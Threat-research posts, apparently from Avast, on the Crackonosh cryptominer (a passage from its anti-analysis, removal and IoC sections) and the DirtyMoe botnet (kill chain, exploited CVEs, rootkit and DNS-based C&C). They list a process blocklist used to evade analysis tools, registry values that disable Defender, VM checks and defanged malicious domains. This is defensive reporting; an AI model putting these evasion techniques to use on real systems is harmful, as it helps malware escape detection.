• pol[.]motorcyclesonthehighway[.]com
• any[.]andycopyprinter[.]net
• onl[.]andycopyprinter[.]net
• cvh[.]cheapjewelleryathome[.]info
• df[.]dvdstoreshopper[.]org
• efr[.]dvdstoreshopper[.]org
• Sdf[.]expensivecarshomerepair[.]com

It seems, that these files are not yet in the wild, but we know what the names of files should be 

C:\WINDOWS\System32\wrsrvrcomd0.dll, C:\WINDOWS\System32\winupdtemp_0.dat and C:\WINDOWS\System32\winuptddm0.

Anti-Detection and Anti-Forensics

As noted before, Crackonosh takes specific actions to evade security software and analysis.

Specific actions it takes to evade and disable security software includes:

• Deleting antivirus software in safe mode
• Stopping Windows Update
• Replacing Windows Security with green tick system tray icon
• Using libraries that don’t use the usual DllMain that is used when running library as the main executable (by rundll32.exe) but instead are started with some other exported functions.
• Serviceinstaller tests if it is running in Safe mode

To protect against analysis, it takes the following actions to test to determine if it’s running in a VM:

• Checks registry keys:
  • SOFTWARE\VMware, Inc
  • SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters
  • SOFTWARE\Oracle\VirtualBox Guest Additions
• Test if computer time is in some reasonable interval e.g. after creation of malware and before 2023 (wksprtcli.dll)

Also, as noted it delays running to better hide itself. We found the specific installers used hard coded dates and times for its delay as shown below.

We also found a version, Winrmsrv.exe (5B85CEB558BAADED794E4DB8B8279E2AC42405896B143A63F8A334E6C6BBA3FB), that instead decrypts time that is hard-coded in config file (for example in 5AB27EAB926755620C948E7F7A1FDC957C657AEB285F449A4A32EF8B1ADD92AC ) is 2020-02-03. If current system time is lower than the extracted value, winrmsrv.exe doesn’t run.

It also takes specific actions to hide itself from possible power users who use tools that could disclose its presence.

It uses Windows-like names and descriptions such as winlogui.exe which is the Windows Logon GUI Application.

It also checks running processes and compares it to the blocklist below. If it finds process with specified name winrmsrv.exe and winlogui.exe terminate itself and wait until the next start of PC.

• Blocklist:
  • dumpcap.exe
  • fiddler.exe 
  • frst.exe 
  • frst64.exe 
  • fse2.exe 
  • mbar.exe 
  • messageanalyzer.exe 
  • netmon.exe 
  • networkminer.exe 
  • ollydbg.exe 
  • procdump.exe 
  • procdump64.exe 
  • procexp.exe 
  • procexp64.exe 
  • procmon.exe 
  • procmon64.exe 
  • rawshark.exe 
  • rootkitremover.exe 
  • sdscan.exe 
  • sdwelcome.exe 
  • splunk.exe 
  • splunkd.exe 
  • spyhunter4.exe 
  • taskmgr.exe
  • tshark.exe 
  • windbg.exe 
  • wireshark-gtk.exe 
  • wireshark.exe 
  • x32dbg.exe 
  • x64dbg.exe 
  • X96dbg.exe

Additional files

As well as previously discussed, our research found additional files:

• Startupcheck.vbs: a one time script to create a Windows Task Scheduler task for StartUpCheckLibrary.dll.
• Winlogui.dat, wslogon???.dat: temporary files to be moved as new winlogui.exe.
• Perfdish001.dat: a list of infected IP addresses winrmsrv.exe found.
• Install.msi and Install.vbs: these are in some versions a step between maintenance.vbs and serviceinstaller.msi, containing commands that are otherwise in maintenance.vbs.

Removal of Crackonosh

Based on our analysis, the following steps are required to fully remove Crackonosh.

Delete the following Scheduled Tasks (Task Schedulers)

• Microsoft\Windows\Maintenance\InstallWinSAT
• Microsoft\Windows\Application Experience\StartupCheckLibrary
• Microsoft\Windows\WDI\SrvHost\
• Microsoft\Windows\Wininet\Winlogui\
• Microsoft\Windows\Windows Error Reporting\winrmsrv\

Delete the following files from c:\Windows\system32\

• 7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450
• 7B296FC0-376B-497d-B013-58F4D9633A22-5P-1.B5841A4C-A289-439d-8115-50AB69CD450B
• diskdriver.exe
• maintenance.vbs
• serviceinstaller.exe
• serviceinstaller.msi
• startupcheck.vbs
• startupchecklibrary.dll
• windfn.exe
• winlogui.exe
• winrmsrv.exe
• winscomrssrv.dll
• wksprtcli.dll

Delete the following file from C:\Documents and Settings\All Users\Local Settings\Application Data\Programs\Common (%localappdata%\Programs\Common)

• UserAccountControlSettingsDevice.dat

Delete the following file from C:\Program Files\Windows Defender\

• MSASCuiL.exe

Delete the following Windows registry keys (using regedit.exe)

• HKLM\SOFTWARE\Policies\Microsoft\Windows Defender value DisableAntiSpyware
• HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value DisableBehaviorMonitoring
• HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value DisableOnAccessProtection
• HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection value DisableScanOnRealtimeEnable
• HKLM\SOFTWARE\Microsoft\Security Center value AntiVirusDisableNotify
• HKLM\SOFTWARE\Microsoft\Security Center value FirewallDisableNotify
• HKLM\SOFTWARE\Microsoft\Security Center value UpdatesDisableNotify
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer value HideSCAHealth
• HKLM\SOFTWARE\Microsoft\Windows Defender\Reporting value DisableEnhancedNotifications
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run value winlogui

Restore the following default Windows services (Note: depends on your OS version – see https://www.tenforums.com/tutorials/57567-restore-default-services-windows-10-a.html)

• wuauserv
• SecurityHealthService
• WinDefend
• Sense
• MsMpSvc

Reinstall Windows Defender and any third-party security software, if any was installed.

Error messages

On infected machines, sometimes the following error messages about the file Maintenance.vbs can appear.

Both of these are bugs in the Crackonosh installation.

Although there are some guides on the internet on how to resolve these errors, instead we recommend following the steps in the previous chapter to be sure you fully remove all traces of Crackonosh.

Conclusion

Crackonosh installs itself by replacing critical Windows system files and abusing the Windows Safe mode to impair system defenses.

This malware further protects itself by disabling security software, operating system updates and employs other anti-analysis techniques to prevent discovery, making it very difficult to detect and remove.

In summary, Crackonosh shows the risks in downloading cracked software and demonstrates that it is highly profitable for attackers. Crackonosh has been circulating since at least June 2018 and has yielded over $2,000,000 USD for its authors in Monero from over 222,000 infected systems worldwide.

As long as people continue to download cracked software, attacks like these will continue to be profitable for attackers. The key take-away from this is that you really can’t get something for nothing and when you try to steal software, odds are someone is trying to steal from you.

Indicators of Compromise (IoCs)

• The full list of IoCs: Avast IoC repository
• The list of URLs obtaining TXT DNS records: network.txt
• The list of common file names: filenames.txt

Public keys

—–BEGIN PUBLIC KEY—–
MIIEIjANBgkqhkiG9w0BAQEFAAOCBA8AMIIECgKCBAEA0m9mblXlLhgH/d5WgDw0
2nzOynQvKdkobluX5zFK6ewVkX+3W6Vv2v4CqJ473ti9798Jt9jkDpfEL1yMUDfp
Lp1p4XGVSrTrD16J0Guxx0yzIjyReAzJ8Kazej1z/XGGOtAMZCoLI+TrE4me3SjL
+EXk3pXqyupAgKFiNrlXRj7hbb5vXkeB0MpbV3yJ0ha1OJdAIAwGzQTUsvDWDw00
4sxLfso6CLzR1CKJEH2wT6RVfalnGg6IBwb/fvGewGYECAfnPtEt8TwvzuLsw6NY
BD+tDNcFQk0ZRIAZ+zO5mY4cuWTTBZbAjEFFo5UX4ognHDElltgh+76rXDvtXmeZ
ivDOgJSBXr2+TkQ9dMfYMYLxKHoe8WRBYlI6Wkl59+HQQdQFgSGK6tFtY0T3TVwR
ZxQE1LYwe+0lF1Cop8U/jqRotudKcS+Hyiu0yoSv34C3QwW4ELQktCX5313gcNF/
RA98knE1tl9F3Pl6vnvm1ILb6cxihYy5F0rdLteRNezrjcXOKGA9BV4QTebxH/mi
mm6z4BtTBPNKvrtqo25qx5Oa0fOnVvHAaVtXNjzCNapZwucHH/V8jJzIwcv2ZUP4
Hx9Hkpm5u/3payfDPkWHFwxh3qfDDr2jzgwDjRSOgO1GHGuL1HoIxSgxWFOf6F2z
caOwDrcycDbWiIMeZedJQI1XTrCPoFL4YoyPY2at9tAYW+6Z3gvnvbhen803N2/k
0TWEUU1hUfhOn45IC5r3pCC8Ouy7FIblz1wGm8Qfa8uSD3hxPhaev1G2JJpN4ZVN
UEfeVH6rVcsbQmKoB0xgmcn5Qnq4WoRGtTd1Z4bbC2Zl2q4jqDAutxWdtmEahmcN
OZoTpAjfN96eQReDYLHYkY9SmdjmclnXGo6SP2VHdlm+Xf5DU7E+0c1WNNb2fGN8
+XY29XLuesCppPyeCejMEgIIfIm6A0ltRtwdRHzqgLaY3o6Q6KTvMCQY2zEwKvx8
h1u5CLNpJ0yajbvaO41g4uKBtAPL+N9knsfnIqwG1r7emocrUbj3Nou9mPvtTVHr
r6ZRCmXbdhXTFL6ztLEGYt4wYwvJfKXlgk+3LFECffw0LpjUXEJVtzb//eI4rEyq
J99exvMzQJ5ELLwpRT/Ehq4D7ngc5V/LGQvGNG5MUnzjDF5Ja5W56HcYRVCj8+CV
jHzOUMx1Ojzeb9L87dS+neATWLr+26kMBALr7lEi37483oLQcD5W4bKspQmMdOJb
ED8MEVTd1V6/lTfcBRiHmEdHazV6OnxZsriXQ6MQtnS5WYKjaCwnv2QfUAtfspeO
tGeIalZIdY/MpABHnmhOQZc5rRXrsEU028zmD52OXTXVfnklhhZjHm9QOX6D4fM3
kQIDAQAB
—–END PUBLIC KEY—–
—–BEGIN PUBLIC KEY—–
MIIEfDANBgkqhkiG9w0BAQEFAAOCBGkAMIIEZAKCBFsAuwkH5cn5zS75ZQpdViD/
L5gUpjnJXJL1rWB0toEICF58mkjpR8DGR+Nl3IXgyjSdKprFUU7pVhO5kmlgiId/
VqbBQZdwKaLxi4oeg4zzVQ7ACwanU1eYqOCNoAsrdcuWkytnPUcLRC3VtE5POp1n
skiPiKNt4aWvzXw61+o+ROEQhKcsYaB3Xu34X1HPxI1HSFhPLxuj20Gfiu3Aol3r
mGdxLWa/sVbkYzyinocrVRl09+Tys0JYq1hc+q6ZR3fN1wOqOQm7dlksmPLDAhIi
9AFyKPrdiLc30kpMP3dpZT/IilkRebcrlufiDgXpAij2t6zzHC5cjn4eCOV80kzJ
qgw8oMAww0K2jvhwTWlRkvvAWtkbHUL9VRX69NFAJOuAPsHNv7ScWiy4EW4KxlFd
zR0B6hzsOc/bo0ns5ffrtOFPao1yW7h4BqE8AYpENwKmygQCh+e211Gd0ABD4131
nNYuZokyYXLLEuzwEjzJlw0bKbwn6suVPA8WAa53iy43/5LWQFfWB3AK8qolJ6ck
vyNLJiMtMa1Q+K3pcRndfQpLMsI19ZZyz67Rh0T+QqDt2XQ5gT4gnmPlc2wB3Y7X
2XoZHQZ8FRgYxhS2Szurmn/70NeZEq6p4Zr+yj0FqEjNvR1ooUz5pwJ6iJSmXRtN
ifaBHKhmc4l5ZIUOUkhtsQ1bmsII092gtLPrLkU7hC1hG9vSzUEh6myLs/pqIKTj
x+s+tHqF34XuvNMJOAcv7dXIiQ0QqfG1bFFP6WItwNyeRRGVIkik6GZuAe3lXV5d
bcKr+ID6pZBeI+yN6y+ugX900WZHKZCfSWvAEQDDZW7TCe0sBQpq083B1GVQOg9t
3MM43PqdYrVgH0fRYa6YJ0SrvhFEIjaevszmOYo+eE5P3GHuL4ty45LrkE91qTWk
fYexEQ0QhCsmBFCu+oX/EI6NpAm636zoc9qPZScZBgIAStYCJJt6pIzDr3tq0BFR
oA3CklsFrKloDgx3rBZgNJk4lpWd9kihNRq7EzI8Y/YbAA0SlgkfXj6/4s0B0ODi
2xirUJzhzQnJuvXFdirwoRpHglMtIOhmfy0fMnvorDbmxGyMVM4n44nGLLrqaZj1
+8QWi9PixPNWgznPBeQaT7q78IPooWn9H/efJ2Rb602iW8H9NSbp/Mt2+Qa4O2Cg
ATymvrRG6oyCgNF5L1fUpGQNQpD3PzSyrTdyjEIabjPpPD+doXPq3y+sEYvWVwDc
96SwVSB7oZ3Bj4/tW7IJ4FhPzXcrBl0RsdURHHhJsHPHSQH6QRtebKcc+3TemhN5
CcXjHmETcB0a0FJ6DXNm4iQZx+t/q8F0ZYnBGhR7aAYu5wl5ofJxGFTQkc5KisYh
B6XogfPM7GT5Zw2B7omiXiGHKALXerzQP831+gL8Zso6ZIWGM3F+PJqQarfn0wnT
xQ264rjtnSKnSkfaDRGxpBYyMDF3CxMPHYsmv7K5lF4be5ASK64VexloUQIDAQAB
—–END PUBLIC KEY—–

The post Crackonosh: A New Malware Distributed in Cracked Software appeared first on Avast Threat Labs.

Abstract

The rising price of the cryptocurrency has caused a skyrocketing trend of malware samples in the wild. DDoS attacks go hand in hand with the mining of cryptocurrencies to increase the attackers’ revenue/profitability. Moreover, the temptation grows if you have thousands of victims at your disposal.

This article presents the result of our recent research on the DirtyMoe malware. We noticed that the NuggetPhantom malware [1] had been the first version of DirtyMoe, and PurpleFox is its exploit kit [2]. We date the first mention of the malware to 2016. The malware has followed a  fascinating evolution during the last few years. The first samples were often unstable and produced obvious symptoms. Nonetheless, the current samples are at par with other malware in the use of anti-forensic, anti-tracking, and anti-debugging techniques nowadays.

The DirtyMoe malware uses a simple idea of how to be modularized, undetectable, and untrackable at the same time. The aim of this malware is focused on Cryptojacking and DDoS attacks. DirtyMoe is run as a Windows service under system-level privileges via EternalBlue and at least three other exploits. The particular functionality is controlled remotely by the malware authors who can reconfigure thousands of DirtyMoe instances to the desired functionality within a few hours. DirtyMoe just downloads an encrypted payload, corresponding to the required functionality, and injects the payload into itself.

DirtyMoe’s self-defense and hiding techniques can be found at local and network malware layers. The core of the DirtyMoe is the service that is protected by VMProtect. It extracts a Windows driver that utilizes various rootkit capabilities such as service, registry entry, and driver hiding. Additionally, the driver can hide selected files on the system volume and can inject an arbitrary DLL into each newly created process in the system. The network communication with a mother server is not hard-coded and is not invoked directly. DirtyMoe makes a DNS request to one hard-coded domain using a set of hardcoded DNS servers. However,  the final IP address and port are derived using another sequence of DNS requests. So, blocking one final IP address does not neutralize the malware, and we also cannot block DNS requests to DNS servers such as Google, Cloudflare, etc.

This is the first article of the DirtyMoe series. We present a high-level overview of the complex DirtyMoe’s architecture in this article. The following articles will be focused on detailed aspects of the DirtyMoe architecture, such as the driver, services, modules, etc. In this article, We describe DirtyMoe’s kill chain, sophisticated network communication, self-protecting techniques, and significant symptoms. Further, we present statistical information about the prevalence and location of the malware and C&C servers. Finally, we discuss and summarize the relationship between DirtyMoe and PurpleFox. Indicators of Compromise lists will be published in future posts for each malware component.

1. Kill Chain

The following Figures illustrate two views of DirtyMoe architecture. The first one is delivery and the second one is exploration including installation. Individual Kill Chain items are described in the following subsections.

1.2 Reconnaissance

Through port-scanning and open-database of vulnerabilities, the attackers find and target a large number of weak computers. PurpleFox is the commonly used exploit kit for DirtyMoe.

1.3 Weaponization

The DirtyMoe authors apply several explicit techniques to gain admin privileges for a DirtyMoe deployment.

One of the favorite exploits is EternalBlue (CVE-2017-0144), although this vulnerability is well known from 2017. Avast still blocks around 20 million EternalBlue attack attempts every month. Unfortunately, a million machines still operate with the vulnerable SMBv1 protocol and hence opening doors to malware include DirtyMoe via privilege escalation [3]. Recently, a new infection vector that cracks Windows machines through SMB password brute force is on the rise [2].

Another way to infect a victim machine with DirtyMoe is phishing emails containing URLs that can exploit targets via Internet Explorer; for instance, the Scripting Engine Memory Corruption Vulnerability (CVE-2020-0674). The vulnerability can inject and damage memory so that executed code is run in the current user context. So, if the attacker is lucky enough to administrator user login, the code takes control over the affected machine [4]. It is wondering how many users frequently use Internet Explorer with this vulnerability.

Further, a wide range of infected files is a way to deploy DirtyMoe. Crack, Keygen, but even legit-looking applications could consist of malicious code that installs malware into victim machines as a part of their execution process. Customarily, the malware installation is done in the background and silently without user interaction or user’s knowledge. Infected macros, self-extracting archive, and repacked installers of popular applications are the typical groups.

We have given the most well-known examples above, but how to deploy malware is unlimited. All ways have one thing in common; it is Common Vulnerabilities and Exposures (CVE). Description of the exact method to install DirtyMoe is out of this article’s scope. However, we list a shortlist of used CVE for DirtyMoe as follows:

• CVE-2019-1458, CVE-2015-1701, CVE-2018-8120: Win32k Elevation of Privilege Vulnerability
• CVE-2014-6332: Windows OLE Automation Array Remote Code Execution Vulnerability

1.4 Delivery

When one of the exploits is successful and gains system privileges, DirtyMoe can be installed on a victim’s machine. We observe that DirtyMoe utilizes Windows MSI Installer to deploy the malware. MSI Installer provides an easy way to install proper software across several platforms and versions of Windows. Each version requires a different location of installed files and registry entries. The malware author can comfortably set up DirtyMoe configurations for the target system and platform.

1.4.1 MSI Installer Package

The malware authors via MSI installer prepare a victim environment to a proper state. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system feature which helps to overwrite system files for malware deployment.

Registry Manipulation

There are several registry manipulations during MSI installation. The most crucial registry entries are described in the following overview:

• Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1.
  • HKCU\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
• Windows File Protection (WFP) of critical Windows system files is disabled.
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable
  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan
• Disables SMB sharing due to the prevention of another malware infection
  • HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled
• Replacing system files by the malware ones
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
• Sets the threshold to the maximum value to ensure that each service is run as a thread and the service is not a normal process.
  • HKLM\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB

File Manipulation

The MSI installer copies files to defined destinations if an appropriate condition is met, as the following table summarizes.

Windows Session Manager (smss.exe) copies the files during Windows startup according to registry value of PendingFileRenameOperations entry as follows:

• Delete (if exist) \\[WindowsFolder]\\AppPatch\\Acpsens.dll
• Move \\[SystemFolder]\\sens.dll to \\[WindowsFolder]\\AppPatch\\Acpsens.dll
• Move \\[WindowsFolder]\\winupdate[64,32].log to \\[SystemFolder]\\sens.dll
• Delete (if exist) \\[WindowsFolder]\\AppPatch\\Ke583427.xsl
• Move \\[WindowsFolder]\\sysupdate.log to \\[WindowsFolder]\\AppPatch\\Ke583427.xsl

1.4.2 MSI Installation

The MSI installer can be run silently without the necessity of the user interaction. The installation requires the system restart to apply all changes, but the MSI installer supports delayed restart, and a user does not detect any suspicious symptoms. The MSI installer prepares all necessary files and configurations to deploy the DirtyMoe malware. After the system reboot, the system overwrites defined system files, and the malware is run. We will describe the detailed analysis of the MSI package in a separate article.

1.5 Exploitation

The MSI package overwrites the system file sens.dll via the Windows Session Manager. Therefore, DirtyMoe abuses the Windows System Event Notification (SENS) to be started by the system. The infected SENS Service is a mediator which deploys a DirtyMoe Service.

In the first phase, the abused service ensures that DirtyMoe will be loaded after the system reboot and restores the misused Windows service to the original state. Secondly, the main DirtyMoe service is started, and a rootkit driver hides the DirtyMoe’s services, registry entries, and files.

1.5.1 Infected SENS Service

Windows runs the original SENS under NT AUTHORITY\SYSTEM user. So, DirtyMoe gains system-level privileges. DirtyMoe must complete three basic objectives on the first run of the infected SENS Service.

1. Rootkit Driver Loading
   DirtyMoe runs in user mode, but the malware needs support from the kernel space. Most kernel actions try to hide or anti-track DirtyMoe activities. A driver binary is embedded in the DirtyMoe service that loads the driver during DirtyMoe starts.
2. DirtyMoe Service Registration
   The infected SENS Service registers the DirtyMoe Service in the system as a regular Windows service. Consequently, the DirtyMoe malware can survive the system reboot. The DirtyMoe driver is activated at this time; hence the newly created service is hidden too. DirtyMoe Service is the main executive unit that maintains all malware activities.
3. System Event Notification Service Recovery
   If the DirtyMoe installation and service deployment is successful, the last step of the infected SENS Service is to recover the original SENS service from the Acpsens.dll backup file; see File Manipulation.

1.5.2 DirtyMoe Service

DirtyMoe Service is registered in the system during the maware’s deployment. At the start, the service extracts and loads the DirtyMoe driver to protect itself. When the driver is loaded, the service cleans up all evidence about the driver from the file system and registry.

The DirtyMoe malware is composed of two processes, namely DirtyMoe Core and DirtyMoe Executioner, created by DirtyMoe service that terminates itself if the processes are created and configured. DirtyMoe Service creates the Core and Executioner process through several processes and threads that are terminated over time. Forensic and tracking methods are therefore more difficult. The DirtyMoe services, processes, and their details will be described in the future article in detail.

1.6 Installation

All we described above is only preparation for malicious execution. DirtyMoe Core is the maintenance process that manages downloading, updating, encrypting, backuping, and protecting DirtyMoe malware. DirtyMoe Core is responsible for the injection of malicious code into DirtyMoe Executioner that executes it. The injected code, called MOE Object or Module, is downloaded from a C&C server. MOE Objects are encrypted PE files that DirtyMoe Core decrypts and injects into DirtyMoe Executioner.

Additionally, the initial payload that determines the introductory behavior of DirtyMoe Core is deployed by the MSI Installer as the sysupdate.log file. Therefore, DirtyMoe Core can update or change its own functionality by payload injection.

1.7 Command and Control

DirtyMoe Core and DirtyMoe Executioner provide an interface for the malware authors who can modularize DirtyMoe remotely and change the purpose and configuration via MOE Objects. DirtyMoe Core communicates with the command and control (C&C) server to obtain attacker commands. Accordingly, the whole complex hierarchy is highly modularized and is very flexible to configuration and control.

The insidiousness of the C&C communication is that DirtyMoe does not use fixed IP addresses but implements a unique mechanism to obfuscate the final C&C server address. So, it is impossible to block the C&C server on a victim’s machine since the server address is different for each C&C communication. Moreover, the mechanism is based on DNS requests which cannot be easily blocked because it would affect everyday communications.

1.8 Actions on Objective

Regarding DirtyMoe modularization, crypto-mining seems to be a continuous activity that uses victim machines permanently if malware authors do not need to make targeted attacks. So, crypto-mining is an activity at a time of peace. However, the NSFOCUS Threat Intelligence center discovered distributed denial-of-service (DDoS) attacks [1]. In general, DirtyMoe can deploy arbitrary malware into infected systems, such as information stealer, ransomware, trojan, etc.

2. Network Communication

As we announced, the network communication with the C&C server is sophisticated. The IP address of the C&C server is not hardcoded because it is derived from DNS requests. There are three pieces of information hardcoded in the code.

1. A list of public DNS servers such as Google, Cloudflare, etc.
2. A hard-coded domain rpc[.]1qw[.]us is an entry point to get the final IP address of the C&C server.
3. Bulgarian constants¹⁾ that are used for a translation of IP addresses.

A DNS request to the 1qw[.]us domain returns a list of live servers, but it is not the final C&C server. DirtyMoe converts the returned IP address to integer and subtracts the first Bulgarian constant (anything making the result correct) to calculate the final C&C IP address. A C&C port is also derived from the final IP address using the second Bulgarian’s constant to make things even worse.

The insidiousness of the translation is an application of DNS requests that cannot be easily blocked because users need the IP translations. DirtyMoe sends requests to public DNS servers that resolve the 1qw[.]us domain recursively. Therefore, user machines do not contact the malicious domain directly but via one of the hardcoded domain name servers. Moreover, the list of returned IP addresses is different for each minute. 

We record approx. 2,000 IP addresses to date. Many translated IP addresses lead to live web servers, mostly with Chinese content. It is unclear whether the malware author owns the web servers or the web servers are just compromised by DirtyMoe.

3. Statistics

According to our observation, the first significant occurrence of DirtyMoe was observed in 2017. The number of DirtyMoe hits was in the thousands between 2018 – 2020.

3.1 DirtyMoe Hits

The increase of incidences has been higher in orders of magnitude this year, as the logarithmic scale of Figure 3 indicates. On the other hand, it must be noted that we have improved our detection for DirtyMoe in 2020. We record approx. one hundred thousand infected and active machines to date. However, it is evident that DirtyMoe malware is still active and on the rise. Therefore, we will have to watch out and stay sharp.

The dominant county of DirtyMoe hits is Russia; specifically, 65 k of 245 k hits; see Figure 4. DirtyMoe leads in Europe and Asia, as Figure 5 illustrates. America also has a significant share of hits.

3.2 C&C Servers

We observed the different distribution of countries and continents for C&C servers (IP addresses) and sample hits. Most of the C&C servers are located in China, as Figures 6 and 7 demonstrate. We can deduce that the location of the malware source is in China. It is evident that the malware authors are a well-organized group that operates on all major continents.

3.3 VMProtect

In the last two years, DirtyMoe has used a volume ID of the victim’s machines as a name for the service DLL. The first versions of DirtyMoe applied a windows service name selected at random. It was dominant in 2018; see Figure 8.

We detected the first significant occurrence of VMProtect at the end of 2018. The obfuscation via VMprotect has been continuously observed since 2019. Before VMProtect, the malware authors relied on common obfuscation methods that are still present in the VMProtected versions of DirtyMoe.

4. Self Protecting Techniques

Every good malware must implement a set of protection, anti-forensics, anti-tracking, and anti-debugging techniques. DirtyMoe uses rootkit methods to hide system activities. Obfuscation is implemented via the VMProtect software and via its own encrypting/decrypting algorithm. Network communications are utilized by a multilevel architecture so that no IP addresses of the mother servers are hardcoded. Last but not least is the protection of DirtyMoe processes to each other.

4.1 DirtyMoe Driver

 The DirtyMoe driver provides a wide scale of functionality; see the following shortlist:

• Minifilter: affection (hide, insert, modify) of a directory enumeration
• Registry Hiding: can hide defined registry keys
• Service Hiding: patches service.exe structures to hide a required service
• Driver Hiding: can hide itself in the system

The DirtyMoe driver is a broad topic that we will discuss in a future post.

4.2 Obfuscation and VMProtect

DirtyMoe code contains many malicious patterns that would be caught by most AV. The malware author used VMprotect to obfuscate the DirtyMoe Service DLL file. DirtyMoe Objects that download are encrypted with symmetric ciphers using hardcoded keys. We have seen several MOE objects which contained, in essence, the same PE files differing in PE headers only. Nevertheless, even these slight modifications were enough for the used cipher to produce completely different MOE objects. Therefore, static detections cannot be applied to MOE encrypted objects. Moreover, DirtyMoe does not dump a decrypted MOE object (PE file) into the file system but directly injects the MOE object into the memory.

DirtyMoe stores its configuration in registry entry as follows: HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D

The configuration values are also encrypted by the symmetric cipher and hardcoded key. Figure 9 demonstrates the decryption method for the DirectPlay8\Direct3D registry key. A detailed explanation of the method will be published in a future post.

4.3 Anti-Forensic and Protections

As we mentioned in the Exploitation section, the forensic and tracking methods are more complicated since DirtyMoe workers are started over several processes and threads. The workers are initially run as svchost.exe, but the DirtyMoe driver changes the worker’s process names to fontdrvhost.exe. DirtyMoe has two worker processes (Core and Executioner) that are guarded to each other. So, if the first worker is killed, the second one starts a new instance of the first one and vice versa.

5. Symptoms and Deactivation

Although DirtyMoe uses advanced protection and anti-forensics techniques, several symptoms indicate the presence of DirtyMoe.

5.1 Registry

The marked indicator of DrityMoe existence is a registry key HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D.
The DirtyMoe stores the configuration in this registry key.

Additionally, if the system registry contains duplicate keys in the path HKLM\SYSTEM\CurrentControlSet\Services, it can point to unauthorized manipulation in the Windows kernel structures. The DirtyMoe driver implements techniques to hide registry keys that can cause inconsistency in the registry.

The MSI installer leaves the following flag if the installation is successful:
HKEY_LOCAL_MACHINE\SOFTWARE\SoundResearch\UpdaterLastTimeChecked[1-3]

5.2 Files

The working directory of DirtyMoe is C:\Windows\AppPatch. The DirtyMoe malware backups the original SENS DLL file to the working directory under the Acpsens.dll file.

Rarely, the DirtyMoe worker fails during .moe file injection, and the C:\Windows\AppPatch\Custom folder may contain unprocessed MOE files.

Sometimes, DirtyMoe “forgot” to delete a temporary DLL file used for the malware deployment. The temporary service is present in Windows services, and the service name pattern is ms<five-digit_random_number>app. So, the System32 folder can contain the DLL file in the form: C:\Windows\System32\ms<five-digit-random-number>app.dll

The MSI installer often creates a directory in C:\Program Files folder with the name of the MSI product name:
FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH or a similar format: [A-Z]{36}

5.3 Processes

On Windows 10, the DirtyMoe processes have no live parent process since the parent is killed due to anti-tracking. The workers are based on svchost.exe. Nonetheless, the processes are visible as fontdrvhost.exe under SYSTEM users with the following command-line arguments:

svchost.exe -k LocalService
svchost.exe -k NetworkService

5.4 Deactivation

It is necessary to stop or delete the DirtyMoe service named Ms<volume-id>App. Unfortunately, the DirtyMoe driver hides the service even in the safe mode. So, the system should be started via any installation disk to avoid the driver effect and then remove/rename the service DLL file located in C:\Windows\System32\Ms<volume-id>App.dll.

Then, the DirtyMoe service is not started, and the following action can be taken:

• Remove Ms<volume-id>App service
• Delete the service DLL file
• Remove the core payload and their backup files from C:\Windows\AppPatch
  • Ke<five-digit_random_number>.xsl and Ac<volume-id>.sdb
• Remove DirtyMoe Objects from C:\Windows\AppPatch\Custom
  • <md5>.mos; <md5>.moe; <md5>.mow

6. Discussion

Parts of the DirtyMoe malware have been seen throughout the last four years. Most notably, NSFOCUS Technologies described these parts as Nugget Phantom [1]. However, DirtyMoe needs some exploit kit for its deployment. We have clues that PurpleFox [5] and DirtyMoe are related together. The question is still whether PurpleFox and DirtyMoe are different malware groups or whether PurpleFox is being paid to distribute DirtyMoe. Otherwise, both malware families come from the same factory. Both have complex and sophisticated network infrastructures. Hence, malware could be a work of the same group.

The DirtyMoe authors are probably from China. The DirtyMoe service and MOE Modules are written in Delphi. On the other hand, the DirtyMoe driver is written in Microsoft Visual C++. However, the driver is composed of rootkit techniques that are freely accessible on the internet. The authors are not familiar with rootkit writing since the drive code contains many bugs that have been copied from the internet. Moreover, Delphi malicious patterns would be easily detectable, so the authors have been using VMProtect for the code obfuscation.

The incidence of PurpleFox and DirtyMoe has increased in the last year by order of magnitude, and expected occurrence indicates that DirtyMoe is and will be very active. Furthermore, the malware authors seem to be a large and organized group. Therefore, DirtyMoe should be closely monitored.

7. Conclusion

Cryptojacking and DDoS attacks are still popular methods, and our findings indicate that DirtyMoe is still active and on the rise. DirtyMoe is a complex malware that has been designed as a modular system. PurpleFox is one of the most used exploit kits for DirtyMoe deployment. DirtyMoe can execute arbitrary functionality based on a loaded MOE object such as DDoS, etc., meaning that it can basically do anything. In the meantime, the malware aims at crypto-mining. 

The malware implements many self-defense and hiding techniques applied on local, network, and kernel layers. Communication with C&C servers is based on DNS requests and it uses a special mechanism translating DNS results to a real IP address. Therefore, blocking of C&C servers is not an easy task since C&C addresses are different each time and they are not hard-coded. 

Both PurpleFox and DirtyMoe are still active malware and gaining strength. Attacks performed by PurpleFox have significantly increased in 2020. Similarly, the number of DirtyMoe hits also increases since both malware are clearly linked together. We have registered approx. 100k infected computers to date.  In each case, DirtyMoe and Purple Fox are still active in the wild. Furthermore, one MOE object aims to worm into other machines, so PurpleFox and DirtyMoe will certainly increase their activity. Therefore, both should be closely monitored for the time being.

